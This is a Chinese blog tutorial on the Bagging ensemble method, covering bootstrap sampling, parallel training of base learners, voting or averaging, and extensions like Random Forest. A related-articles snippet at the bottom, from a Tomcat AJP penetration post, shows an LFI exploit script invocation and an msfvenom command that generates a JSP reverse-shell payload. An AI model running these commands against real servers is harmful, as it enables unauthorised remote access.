当前位置: 首页 > news >正文

三十六、【人工智能】【机器学习】【监督学习】- Bagging算法模型

 

系列文章目录

第一章 【机器学习】初识机器学习

第二章 【机器学习】【监督学习】- 逻辑回归算法 (Logistic Regression)

第三章 【机器学习】【监督学习】- 支持向量机 (SVM)

第四章【机器学习】【监督学习】- K-近邻算法 (K-NN)

第五章【机器学习】【监督学习】- 决策树 (Decision Trees)

第六章【机器学习】【监督学习】- 梯度提升机 (Gradient Boosting Machine, GBM)

第七章 【机器学习】【监督学习】-神经网络 (Neural Networks)

第八章【机器学习】【监督学习】-卷积神经网络 (CNN)

第九章【机器学习】【监督学习】-循环神经网络 (RNN)

第十章【机器学习】【监督学习】-线性回归

第十一章【机器学习】【监督学习】-局部加权线性回归 (Locally Weighted Linear Regression, LWLR)

第十二章【机器学习】【监督学习】- 岭回归 (Ridge Regression)

十三、【机器学习】【监督学习】- Lasso回归 (Least Absolute Shrinkage and Selection Operator)

十四、【机器学习】【监督学习】- 弹性网回归 (Elastic Net Regression)

十五、【机器学习】【监督学习】- 神经网络回归 

十六、【机器学习】【监督学习】- 支持向量回归 (SVR)

十七、【机器学习】【非监督学习】- K-均值 (K-Means) 

十八、【机器学习】【非监督学习】- DBSCAN (Density-Based Spatial Clustering of Applications with Noise)十九、【机器学习】【非监督学习】- 层次聚类 (Hierarchical Clustering)二十、【机器学习】【非监督学习】- 均值漂移 (Mean Shift)

二十一、【机器学习】【非监督学习】- 谱聚类 (Spectral Clustering)​​ 


目录

系列文章目录

一、基本定义

(一)、监督学习

(二)、监督学习的基本流程

(三)、监督学习分类算法(Classification)

二、 Bagging

(一)、定义

(二)、基本概念

(三)、训练过程

Bagging的训练过程详解

1. 数据准备:Bootstrap Sampling

2. 模型训练

3. 预测阶段

4. 聚合策略

5. 结果评估与应用

(四)、特点与适用场景

(五)、扩展

三、总结


一、基本定义

(一)、监督学习

        监督学习(Supervised Learning)是机器学习中的一种主要方法,其核心思想是通过已知的输入-输出对(即带有标签的数据集)来训练模型,从而使模型能够泛化到未见的新数据上,做出正确的预测或分类。在监督学习过程中,算法“学习”的依据是这些已标记的例子,目标是找到输入特征与预期输出之间的映射关系。

(二)、监督学习的基本流程

        数据收集:获取包含输入特征和对应正确输出标签的训练数据集。
        数据预处理:清洗数据,处理缺失值,特征选择与转换,标准化或归一化数据等,以便于模型学习。
        模型选择:选择合适的算法,如决策树、支持向量机、神经网络等。
        训练:使用训练数据集调整模型参数,最小化预测输出与实际标签之间的差距(损失函数)。
        验证与调优:使用验证集评估模型性能,调整超参数以优化模型。
        测试:最后使用独立的测试集评估模型的泛化能力,确保模型不仅在训练数据上表现良好,也能在未见过的新数据上做出准确预测。

(三)、监督学习分类算法(Classification)

        定义:分类任务的目标是学习一个模型,该模型能够将输入数据分配到预定义的几个类别中的一个。这是一个监督学习问题,需要有一组已经标记好类别的训练数据,模型会根据这些数据学习如何区分不同类别。
        例子:垃圾邮件检测(垃圾邮件 vs. 非垃圾邮件)、图像识别(猫 vs. 狗)。


二、 Bagging

(一)、定义

Bagging,全称为Bootstrap Aggregating,是一种集成学习方法,旨在通过构建多个不同的模型并将其结果进行汇总,以提高预测的准确性和模型的稳定性。Bagging的核心思想是通过有放回地从原始数据集中抽取多个子样本,然后在每个子样本上独立训练不同的模型,最后将这些模型的结果进行平均或投票,以得到最终的预测结果。

(二)、基本概念

  1. Bootstrap Sampling:Bagging中的“Bootstrap”指的是从原始数据集中有放回地抽取相同大小的样本集,这意味着每个样本在子集中可能被多次选中,也可能完全不被选中。

  2. 多样性:由于每个子样本集都是独立抽取的,因此在每个子样本上训练的模型也会有所不同,这种多样性是Bagging能够提高模型稳定性的关键。

  3. Aggregation:训练完成后,Bagging通过聚合所有模型的预测结果来做出最终预测。对于分类问题,通常采用多数投票的方式;对于回归问题,则是取平均值。

(三)、训练过程

Bagging的训练过程可以概括为以下几步:

  1. 数据准备:从原始数据集中通过Bootstrap Sampling抽取多个子样本集。

  2. 模型训练:在每个子样本集上独立训练一个基学习器(如决策树)。由于数据集的随机性,每个基学习器都会有所不同。

  3. 预测阶段:对于一个新的输入实例,所有基学习器都会给出自己的预测,然后根据问题类型(分类或回归)进行投票或平均,得到最终的预测结果。

Bagging的训练过程详解

Bagging(Bootstrap Aggregating)是一种强大的集成学习技术,用于提高预测模型的性能,尤其是减少模型的方差,使其更加稳定和可靠。下面是Bagging训练过程的详细步骤:

1. 数据准备:Bootstrap Sampling
  •  数据集划分:首先,从原始训练数据集 ( D ) 中,通过Bootstrap Sampling(自助抽样法)随机抽取 ( N ) 个样本(( N ) 通常是原始数据集的大小),形成一个新的样本集 ( D_i )。这一过程是有放回地进行的,意味着同一个样本可能在新的样本集中出现多次,而有些样本可能一次也不出现。
  • 重复抽样:这一过程会重复进行 ( B ) 次,生成 ( B ) 个不同的样本集 ( D_1, D_2, ..., D_B ),每个样本集的大小都大致等于原始数据集的大小。
2. 模型训练
  • 独立建模:对于每个样本集 ( D_i ),独立地训练一个基学习器 ( h_i(x) )。基学习器的选择可以是任何机器学习模型,但通常选择的是决策树,因为它们容易过拟合并能从中受益于Bagging带来的稳定性提升。
  • 并行训练:这些基学习器可以在不同的样本集上并行训练,因为它们之间没有依赖关系,这使得Bagging非常适合于并行计算环境。
3. 预测阶段
  •  单个模型预测:对于一个新输入 ( x ),每个基学习器 ( h_i(x) ) 将给出一个预测结果。
  • 结果汇总:根据问题的类型(分类或回归),汇总所有基学习器的预测结果。对于分类问题,通常采用多数投票(Majority Voting)的方式决定最终预测类别;对于回归问题,则是计算所有基学习器预测值的平均值作为最终预测。
4. 聚合策略
  •  分类问题:如果基学习器是分类器,那么对于新样本 ( x ),每个分类器 ( h_i(x) ) 都会给出一个类别标签。最终的预测类别是所有分类器预测类别中出现次数最多的那个。
  • 回归问题:如果基学习器是回归器,那么每个回归器 ( h_i(x) ) 都会给出一个数值预测。最终的预测值是所有回归器预测值的算术平均。
5. 结果评估与应用
  •  模型评估:可以通过交叉验证或保留的测试集来评估Bagging模型的性能。通常,Bagging模型的性能优于单一基学习器的性能,尤其是在减少过拟合和提高预测稳定性方面。
  • 模型应用:一旦训练完成,Bagging模型就可以用于对新的未见数据进行预测。

通过上述步骤,Bagging能够有效减少模型的方差,提高预测的稳定性,同时保持甚至增强模型的准确性,特别是在处理高方差模型和复杂数据集时表现尤为突出。

(四)、特点与适用场景

  • 减少方差:Bagging通过多样化基学习器来减少模型的方差,提高预测稳定性,尤其适用于高方差的模型,如决策树。

  • 提高准确性:由于模型的多样性,Bagging通常能够提高整体的预测准确性,尤其是在处理具有噪声或复杂分布的数据集时。

  • 处理不平衡数据:Bagging可以有效地处理类别不平衡的问题,因为在Bootstrap抽样中,少数类别的样本有更多的机会被多次选中,从而在训练集中得到更好的表示。

  • 特征选择:可以结合特征重要性分析,帮助识别哪些特征对预测结果影响最大。

(五)、扩展

Bagging的概念可以扩展到多种模型和算法中,以下是一些常见的扩展:

  • Random Forest:在Bagging的基础上,Random Forest进一步引入了特征随机选择的概念,即在每次分裂时只考虑一部分特征,这增加了模型的多样性和泛化能力。

  • AdaBoost:虽然AdaBoost和Bagging都是集成学习方法,但AdaBoost侧重于加权调整,给那些被前一个模型错误分类的样本更高的权重,以使后续模型更加关注这些困难样本。

  • Stacking:Stacking是一种更复杂的集成学习策略,它不仅使用Bagging或其他集成方法生成多个模型,还会使用一个元模型来学习如何最好地组合这些模型的输出。

三、总结

Bagging是一种非常实用的集成学习方法,特别适用于处理高方差模型、减少过拟合风险以及提高模型在复杂数据集上的表现。通过与不同类型的基学习器结合,Bagging可以适应多种机器学习任务和应用场景。

相关文章:

三十六、【人工智能】【机器学习】【监督学习】- Bagging算法模型

系列文章目录 第一章 【机器学习】初识机器学习 第二章 【机器学习】【监督学习】- 逻辑回归算法 (Logistic Regression) 第三章 【机器学习】【监督学习】- 支持向量机 (SVM) 第四章【机器学习】【监督学习】- K-近邻算法 (K-NN) 第五章【机器学习】【监督学习】- 决策树…...

2024年8月8日(python基础)

一、检查并配置python环境(python2内置) 1、检测是否安装 [rootlocalhost ~]# yum list installed| grep python [rootlocalhost ~]# yum -y install epel-release 2、安装python3 [rootlocalhost ~]# yum -y install python3 最新版3.12可以使用源码安…...

SpringAOP_面向切面编程

一、什么是StringAOP AOP(Aspect-Oriented Programming: 面向切面编程):将那些与业务无关, 却为业务模块所共同调用的逻辑(例如事务处理、日志管理、权限控制等)封装抽取成一个可重用的模块,这个模块被命名为“切面”&…...

芯片bring-up的测试用例

文章目录 前言一、测试用例的规划和编写原则1、冒烟测试1)电源时钟复位测试2)寄存器扫描测试3)单一功能冒烟测试 二、遍历测试三、随机测试四、性能测试五、压力测试 总结 前言 最近做了一些用测试用例点亮芯片的工作,从测试用例…...

vs code编辑区域右键菜单突然变短

今天打开vs code发现鼠标在编辑区域按右键,出来的菜单只显示一小段 显示不全,而之前的样子是 显示很多项,怎么设置回到显示很多项呢?...

如何将TRIZ的“最终理想解”应用到机器人电机控制设计中?

TRIZ理论,作为一套系统的创新方法论,旨在帮助设计师和工程师突破思维惯性,解决复杂的技术难题。其核心思想之一便是“最终理想解”,它如同一盏明灯,指引着我们在技术创新的道路上不断前行。最终理想解追求的是产品或技…...

【记录】基于docker部署小熊派BearPi-Pico H3863开发环境

参考:📝 Ubuntu环境下开发环境搭建 | 小熊派BearPi 过程 在物理机中创建一个工作路径 /home/luo/locke/BearPi/BearPi_Pico_H3863创建docker容器 docker run -it \ --privilegedtrue --cap-addALL \ --name BearPi-Pico_H3863_env \ -v /home/luo/lo…...

Elasticsearch 与 OpenSearch:谁才是搜索霸主

Elasticsearch简介 Elasticsearch 是一个开源的、基于 RESTful 接口的分布式搜索和分析引擎,它利用了 Apache Lucene 的强大功能。 它特别适合处理大规模数据,这使得它成为管理和分析日志及事件数据的理想选择。 Elasticsearch 以其即时性而著称&…...

WEB渗透-TomcatAjp之LFIRCE

LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass配合目标文件上传传入服务器 RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.0.107 LPORT12138 R >/va…...

嵌入式初学-C语言-二一

数组指针 概念&#xff1a;数组指针是指向数组的指针。 特点&#xff1a; 先有数组&#xff0c;后有指针 它指向的是一个完整的数组。 一维数组指针 数据类型 (*指针变量名)[容量]&#xff1b; 案例&#xff1a; /** * 数组指针&#xff1a;指向数组的指针 */ #include <…...

2376. 统计特殊整数

Powered by:NEFU AB-IN Link 文章目录 2376. 统计特殊整数题意思路代码 2376. 统计特殊整数 题意 如果一个正整数每一个数位都是 互不相同 的&#xff0c;我们称它是 特殊整数 。 给你一个 正 整数 n &#xff0c;请你返回区间 [1, n] 之间特殊整数的数目。 思路 详见灵神…...

Python 绘图进阶之核密度估计图:掌握数据分布的秘密

Python 绘图进阶之核密度估计图&#xff1a;掌握数据分布的秘密 引言 在数据分析中&#xff0c;了解数据的分布情况是至关重要的一步。除了常用的直方图和箱线图&#xff0c;核密度估计图&#xff08;Kernel Density Estimation, KDE&#xff09;提供了一种更为平滑、直观的方…...

设计模式(1)创建型模式和结构型模式

1、目标 本文的主要目标是学习创建型模式和结构型模式&#xff0c;并分别代码实现每种设计模式 2、创建型模式 2.1 单例模式&#xff08;singleton&#xff09; 单例模式是创建一个对象保证只有这个类的唯一实例&#xff0c;单例模式分为饿汉式和懒汉式&#xff0c;饿汉式是…...

RuoYi-Vue新建模块

一、环境准备 附:RuoYi-Vue下载与运行 二、新建模块 在RuoYi-Vue下新建模块ruoyi-test。 三、父pom文件添加子模块 在RuoYi-Vue的pom.xml中,引入子模块。 <dependency><groupId>com.ruoyi</groupId><artifactId>ruoyi-test</artifactId>&…...

Element-UI自学实践

概述 Element-UI 是由饿了么前端团队推出的一款基于 Vue.js 2.0 的桌面端 UI 组件库。它为开发者提供了一套完整、易用、美观的组件解决方案&#xff0c;极大地提升了前端开发的效率和质量。本文为自学实践记录&#xff0c;详细内容见 &#x1f4da; ElementUI官网 1. 基础组…...

ChatGPT如何工作:创作一首诗的过程

疑问 怎样理解 Chat GPT 的工作原理&#xff1f;比如我让他作一首诗&#xff0c;他是如何创作的呢&#xff1f;每一行诗&#xff0c;每一个字都是怎么来的&#xff1f;随机拼凑的还是从哪里借鉴的&#xff1f; 回答 当你让 ChatGPT 创作一首诗时&#xff0c;它并不是简单地随…...

Linux_Shell变量及运算符-05

一、Shell基础 1.1 什么是shell Shell脚本语言是实现Linux/UNIX系统管理及自W动化运维所必备的重要工具&#xff0c; Linux/UNIX系统的底层及基础应用软件的核心大都涉及Shell脚本的内容。Shell是一种编程语言, 它像其它编程语言如: C, Java, Python等一样也有变量/函数/运算…...

OpenCV图像滤波(13)均值迁移滤波函数pyrMeanShiftFiltering()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 函数执行均值迁移图像分割的初始步骤。 该函数实现了均值迁移分割的过滤阶段&#xff0c;即输出是经过滤波的“海报化”图像&#xff0c;其中颜色…...

用爬虫技术探索石墨文档:数据自动化处理与个性化应用的创新实践

用爬虫技术探索石墨文档&#xff1a;数据自动化处理与个性化应用的创新实践 在当今这个信息爆炸的时代&#xff0c;文档管理与协作成为了企业运营和个人工作中不可或缺的一部分。石墨文档&#xff0c;作为一款轻量级的云端Office套件&#xff0c;凭借其强大的在线协作、实时同…...

【JavaEE初阶】线程池

目录 &#x1f4d5; 引言 &#x1f333; 概念 &#x1f340;ThreadPoolExecutor 类 &#x1f6a9; int corePoolSize与int maximumPoolSize&#xff1a; &#x1f6a9; long keepAliveTime与TimeUnit nuit&#xff1a; &#x1f6a9; BlockingQueue workQueue&#xff1a…...

zdpgo_cobra_req 新增解析请求体内容

zdpgo_cobra_req 使用Go语言开发的&#xff0c;类似于curl的HTTP客户端请求工具&#xff0c;用于便捷的测试各种HTTP地址 特性 1、帮助文档都是中文的2、支持常见的HTTP请求&#xff0c;比如GET、POST、PUT、DELETE等 下载 git clone https://github.com/zhangdapeng520/z…...

Java聚合快递对接云洋系统快递小程序源码

&#x1f31f;【一键聚合&#xff0c;高效便捷】快递对接云洋系统小程序全攻略&#x1f680; 引言&#xff1a;告别繁琐&#xff0c;拥抱智能快递新时代&#x1f50d; 在这个快节奏的时代&#xff0c;每一分每一秒都弥足珍贵。你是否还在为手动输入多个快递单号、频繁切换不同…...

陕西西安培华学院计算机软件工程毕业设计课题选题参考目录​

陕西西安培华学院计算机软件工程毕业设计课题选题 博主介绍&#xff1a;✌️大厂码农|毕设布道师&#xff0c;阿里云开发社区乘风者计划专家博主&#xff0c;CSDN平台&#xff0c;✌️Java领域优质创作者,博客之星、掘金/华为云/阿里云等平台优质作者、专注于大学生项目实战开发…...

如何用sql在1分钟从1T数据中精准定位查询?Hive离线数仓 Spark分析

最近在一个群里&#xff0c;从群友哪里了解到这样一个业务需求&#xff1a;如何在 hdfs 1 T源数据库中&#xff0c;1分钟内从其中抓取自己想要的数据&#xff1f; 我的理解是 &#xff1a; 在hdfs数据库中为拥有 尽1T数据的表创建索引,并对其进行性能优化&#xff0c;以实现…...

acpi 主板布局需要 efi

今天在折腾 ESXI 的时候&#xff0c;启动虚拟机跳出了 acpi 主板布局需要 efi 然后我就将 ESXI 的启动方式改为了 EFI 但是虚拟机有莫名的启动不了&#xff0c;网上也没有找到办法&#xff0c;最后&#xff0c;我将虚拟机类型有原本的 ubuntu 换成了 debian 最后启动成功&…...

月之暗面对谈 Zilliz:长文本和 RAG 如何选择?

01 长文本与RAG通用对比 准确率&#xff1a;通常情况下长文本优于RAG 长文本&#xff1a;可更加综合的去分析所有相关的内容&#xff0c;提取相关数字&#xff0c;生成图表&#xff0c;效果尚可。RAG&#xff1a;更适合找到一段或者是几段可能相关的段落。如果希望大模型能够…...

高级java每日一道面试题-2024年8月12日-设计模式篇-请列举出在JDK中几个常用的设计模式?

如果有遗漏,评论区告诉我进行补充 面试官: 请列举出在JDK中几个常用的设计模式? 我回答: 在Java Development Kit (JDK) 中&#xff0c;许多设计模式被广泛使用&#xff0c;以帮助实现软件的结构、行为和复用。下面是一些在JDK中常见的设计模式及其简要说明&#xff1a; 工…...

mysql workbench8.0如何导出mysql5.7格式的sql定义

碰到的问题 mac上安装mysql workbech6.0后不能运行&#xff0c;但安装workbench8.0后&#xff0c;导出的数据库sql文件默认是msyql 8.0的语法和格式。比如生成索引的语句后面会有visible关键字&#xff0c;当把mysql8.0的sql文件导入到mysql5.7时就会报错。 如何解决 点击my…...

数据结构(学习)2024.8.6(顺序表)

今天开始学习数据结构的相关知识&#xff0c;大概分为了解数据结构、算法&#xff1b;学习线性表&#xff1a;顺序表、链表、栈、队列的相关知识和树&#xff1a;二叉树、遍历、创建&#xff0c;查询方法、排序方式等。 目录 一、数据结构 数据 逻辑结构 1.线性结构 2.树…...

MyBatis全解

目录 一&#xff0c; MyBatis 概述 1.1-介绍 MyBatis 的历史和发展 1.2-MyBatis 的特点和优势 1.3-MyBatis 与 JDBC 的对比 1.4-MyBatis 与其他 ORM 框架的对比 二&#xff0c; 快速入门 2.1-环境搭建 2.2-第一个 MyBatis 应用程序 2.3-配置文件详解 (mybatis-config.…...